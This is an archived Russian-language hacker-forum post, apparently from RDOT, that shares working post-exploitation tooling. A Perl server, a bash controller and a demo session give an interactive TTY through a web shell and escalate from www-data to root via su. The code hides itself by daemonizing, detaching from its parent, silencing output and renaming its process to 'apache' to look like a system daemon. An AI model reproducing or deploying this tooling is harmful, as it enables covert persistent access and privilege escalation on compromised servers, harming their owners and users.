tty from web shell

2011-12-10T00:00:00
ID RDOT:1884
Type rdot
Reporter DrakonHaSh
Modified 2011-12-10T00:00:00

Description

эмулятор [ nc -l -s ADDR -p PORT ] ввод/вывод которого управляется через файлы in/out

написан для получения tty из под веб-шелла [ tty from web shell ]
с ним из веб шела можно юзать su, запускать эксплоиты и получать рута

пример работы:

Код:

**./ttyServer.pl**
[Server is ready at 127.0.0.1:43157] 
**./ttyClient.pl 127.0.0.1 43157 **
Connecting to 127.0.0.1:43157... ok
Allocatig pseudo terminal... /dev/pts/0
Initializing pseudo terminal... ok
Forking shell thread...ok
Have fun!
**./exec.sh "id;pwd;tty" -c**
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/dev
/dev/pts/0
www-data@bt:/dev$ 
**./exec.sh "su" -c**
su
Password: 
**./exec.sh "toor" -c**
root@bt:/dev# 
**./exec.sh "id" -c**
id uid=0(root) gid=0(root) groups=0(root)
root@bt:/dev#

сам "эмулятор" ttyServer.pl

Код:

_#!/usr/bin/perl -w_

_# эмулятор [ nc -l -s ADDR -p PORT ] ввод/вывод которого управляется через файлы in/out_
_# написан для получения tty из под веб-шелла [ tty from web shell ]_
_# CopyLeft by DrakonHaSh@rdot.org/forum/_

use Fcntl;              _# for sysopen_
use POSIX;              _# for setsid_
use IO::Socket;

$DEBUG = 0;             _# 0 - никаких сообщений, кроме инициализации (боевой вариант, все в /dev/null),_
                        _# 1 - только основные (print)_
                        _# 2 - самый болтливый (print + debugPrint)_

$EAGAIN=11;             _# const for chk ret value syswrite/sysread_

$INPUTFILENAME = _'in'_;
$OUTPUTFILENAME = _'out'_;

$HOST=_'127.0.0.1'_;
$PORT=_'43157'_;
($HOST, $PORT) = @ARGV **if** ($#ARGV == 1);        _# ./ttyServer 127.0.0.1 45678_
($PORT) = @ARGV **if** ($#ARGV == 0);               _# ./ttyServer 45678_


open STDERR, STDOUT;                            _# чтоб die не шли в errors.log_
createFilesForInputOutput();
$server = new IO::Socket::INET (
        Proto => _'tcp'_,
        LocalAddr => $HOST,
        LocalPort => $PORT,
        Listen => 1,
        Reuse => 1
) or die _"Can't create server at [$HOST:$PORT] : $!"_ ;
print _"[Server is ready at "_,$server->sockhost,_":"_,$server->sockport,_"]\n"_;

_#=========================================================================================================================_
**if** (!$DEBUG) {
    open STDIN, _'/dev/null'_ or die _"Can't read /dev/null: $!"_;
    open STDOUT, _'>/dev/null'_;
    open STDERR, _'>/dev/null'_;
}
_#=========================================================================================================================_
_# косим под системный демон, у которого нет предков_

 _# "убираем" колонку TTY в [ps -AFH]_
 defined($pid = fork) or die $!;
 exit **if** $pid;

 _# "убираем" колонку PPID в [ps -AFH]_
 POSIX::setsid();

 _# устанавливаем колонку CMD в [ps -AFH]    для конкретных систем полезно менять в зависимости от контекста сервера_
 $0=_"apache"_;

_#_
_#=========================================================================================================================_

$connection = $server->accept();                _# ждем подключения клиента_
close $server;                                  _# закрываем LISTEN($server), оставляем только ESTABLISHED($connection)_
$connection->autoflush(1);                      _# на всяк случай, хотя и без этого работает как надо_
**while** ( $connection && $connection->connected() ) {

    my $input = readInputFromFile();
    **last** **if** ($input eq _".exit.\n"_);
    **if** (length $input > 0) {
        writeToSock($input);
    }

    my $output = readFromSock();                _# здесь неявно sleep 0.25_
    **if** (length $output > 0) {
        writeOutputToFile($output);
    }

}
close $connection **if** ($connection);
unlink $INPUTFILENAME;
print _"\n$0 EXIT!\nManually delete [$OUTPUTFILENAME] file if U need\n"_;
exit;

_#=========================================================================================================================_
_#=========================================================================================================================_
_# $data = readFromSock();_
sub readFromSock {

    my $data = _''_;

    debugPrint(_"\n==> readFromSock enter ==>\n"_);

    **while**(1) {

        _# проверка наличия данных для чтения в сокете [ http://valera.asf.ru/perl/cookbook/cont.php?id=244 ]_
            my $rin = _''_;
            vec($rin, fileno($connection), 1) = 1;
            my $timeout = 0.25; _# sec_
            select($rout = $rin, undef, undef, $timeout);
            **if** (vec($rout,fileno($connection),1) != 1) {
                debugPrint (_"\n no data in socket for read \n"_);
                **last**;
            }
        _#_

        debugPrint(_"[read] buff=>\n"_);

        my $rv = sysread($connection, $buff, 1024);
        **last** **if** (!defined($rv) && $! == $EAGAIN);
        defined($rv) or die $!;
        **if** ($rv == 0) {
            close $connection;
            $connection = 0;
            **last**;
        }
        $data .= $buff;

        debugPrint($buff, _"\n<= [read]\n"_);
    }

    debugPrint(_"\n<== readFromSock exit <==\n"_);

    **return** $data;

}
_#=========================================================================================================================_
_# writeToSock ($data);_
sub writeToSock {

    my $buff = shift;
    debugPrint(_"[write] buff=>\n"_, $buff);

    **while**(length $buff > 0) {
        my $rv = syswrite($connection, $buff, length $buff);
        **if** (!defined($rv) && $! == $EAGAIN) {
            _## try again_
            **next**;
        }
        defined($rv) or die $!;
        **last** **if** ($rv == length $buff);
        substr($buff,0,$rv) = _''_;
    }

    debugPrint(_"\n<= [write]\n"_);
}
_#=========================================================================================================================_
_# createFilesForInputOutput();_
sub createFilesForInputOutput {

    umask 0;

    sysopen IN, $INPUTFILENAME, O_CREAT | O_TRUNC
        or die _"Fail on create file [$INPUTFILENAME] : $!"_;
    close IN;
    chmod 0666, $INPUTFILENAME;

    sysopen OUT, $OUTPUTFILENAME, O_CREAT | O_RDWR | O_APPEND
        or die _"Fail on open/create file [$OUTPUTFILENAME] : $!"_;
    print OUT _"\n"_,_'='_x64,_"\nNew session started at: "_, `date`,_'='_x64,_"\n"_;
    close OUT;
    chmod 0666, $OUTPUTFILENAME;

}
_#=========================================================================================================================_
_# $input = readInputFromFile();_
sub readInputFromFile {

    my $input = _""_;

    sysopen IN, $INPUTFILENAME, O_RDWR;
    sysread(IN, $input, 65535);
    truncate IN, 0;
    close IN;

    **return** $input;
}
_#=========================================================================================================================_
_# writeOutputToFile($output);_
sub writeOutputToFile {

    my $output = shift;

    sysopen OUT, $OUTPUTFILENAME, O_WRONLY | O_APPEND;
    syswrite(OUT, $output, length $output);
    close OUT;

}
_#=========================================================================================================================_
_# debugPrint(str1, str2, ... strN);_
sub debugPrint {

    **return** **if** ($DEBUG!=2);

    **while** ( defined($str = shift) ) {
        printf $str;
    }
}
_#=========================================================================================================================_

управлялка сервером exec.sh

Код:

_#!/bin/bash_

_# без аргументов: вывод текущего out _
_# ./exec.sh_
_#_
_# если есть первый аргумент - посылка его в in, ожидание секунды и вывод out_
_# ./exec.sh "id;pwd"_
_#_
_# если второй аргумент -с то out очищается перед посылкой команды_
_# ./exec.sh "id;pwd" -c_

INPUTFILENAME='in'
OUTPUTFILENAME='out'

if [ $_# -gt 0 ]_
then
    if [ ! -f $INPUTFILENAME ] ; 
    then 
      echo "server is not started"
      exit
    fi

    if [ "$2" == "-c" ] ; 
    then 
        echo -n > $OUTPUTFILENAME
    fi

    echo $1 > $INPUTFILENAME
    sleep 1
fi

cat $OUTPUTFILENAME

в качестве клиента подойдет любой TTY Backconnect, который работает через netcat
в архиве вот эта